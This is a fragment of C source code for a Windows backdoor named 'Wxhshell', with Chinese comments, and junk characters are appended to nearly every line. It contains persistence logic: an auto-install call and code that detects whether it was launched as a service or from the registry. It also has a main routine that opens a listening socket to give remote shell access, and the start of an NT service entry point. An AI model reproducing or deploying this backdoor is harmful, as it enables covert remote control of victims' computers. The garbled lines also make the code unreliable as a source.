DWORD AffinityMask; eY[kUMo
DWORD BasePriority; j]C}S*`"
ULONG UniqueProcessId; 'P)c'uqd#
ULONG InheritedFromUniqueProcessId; 1pAcaJzf
} PROCESS_BASIC_INFORMATION; \03ZE^H
HZqk)sN
PROCNTQSIP NtQueryInformationProcess; gY!?JZC-0
Cy dV$!&mP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +w/B3b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b/?)_pg
2N{^V?:
HANDLE hProcess; 4W#DLip9
PROCESS_BASIC_INFORMATION pbi; ]=ADX}
RT|1M"?$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "
v<O)1QT
if(NULL == hInst ) return 0; 9oYE
0D Lw
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ohjl*dw
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Z>8ROv^X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eq|5PE^7
}N&?8s=
if (!NtQueryInformationProcess) return 0; ?|~KF:,#}
z69u@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vi28u xc
if(!hProcess) return 0; &0i$Y\g
.N7<bt@~)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |(>`qL{|
<1|[=$w
CloseHandle(hProcess); DhyR
}nd>SK4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
H9*k(lnz`
if(hProcess==NULL) return 0; >@2<^&K`
{<,%_pJR
HMODULE hMod; r].n=455[
char procName[255]; ~7PD/dre
unsigned long cbNeeded; #f2Ot<#-
.4+Rac
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JsJP%'^/R
MGR:IOTa
CloseHandle(hProcess); Dkz/hg:q
YRu@;
`
if(strstr(procName,"services")) return 1; // 以服务启动 kB
8^v7o
9J3fiA_
return 0; // 注册表启动 ?\V#^q-
} B6
0
W+ S~__K
// 主模块 <fUo@]Lv
int StartWxhshell(LPSTR lpCmdLine) r2=@1=?8
{ <mn[-
SOCKET wsl; 7}kJp%-
BOOL val=TRUE; ! ?g+'OM
int port=0; ix!xLm9\
struct sockaddr_in door; m/=nz.
~>CvZ7K
if(wscfg.ws_autoins) Install(); G}nJ3
lFzVd
N
port=atoi(lpCmdLine); =1IK"BA2?
}DhqzKl
if(port<=0) port=wscfg.ws_port; sW]_Ky.]
m;@q('O
WSADATA data; :PO./IBX
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =
lo.LFV
6("_}9ZOc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?:"ABkL|+Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6
VEB2F
door.sin_family = AF_INET; n28JWkK8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [dJ!JT/X{
door.sin_port = htons(port); rwP#Yj[BK+
I"Zp^j
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T9nb ~P[
closesocket(wsl); ?
:H+j6+f
return 1; S{=5nR9 j
} /WN YS
`_\KN_-%Vu
if(listen(wsl,2) == INVALID_SOCKET) { I C
closesocket(wsl); [HILK`@@
return 1; FIq'W:q:
} *#=Ij r~
Wxhshell(wsl); nR_Zrm
WSACleanup(); :G _
q'mh*
return 0; EvT$|#FY
o[ 5dR<
} Aw#<: 6-
_uIS[%4g
// 以NT服务方式启动 FZi@h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sm'Tz&!
{ CRb*sfKDL
DWORD status = 0; mnpk9x}m
DWORD specificError = 0xfffffff; X-["{
$bTtD<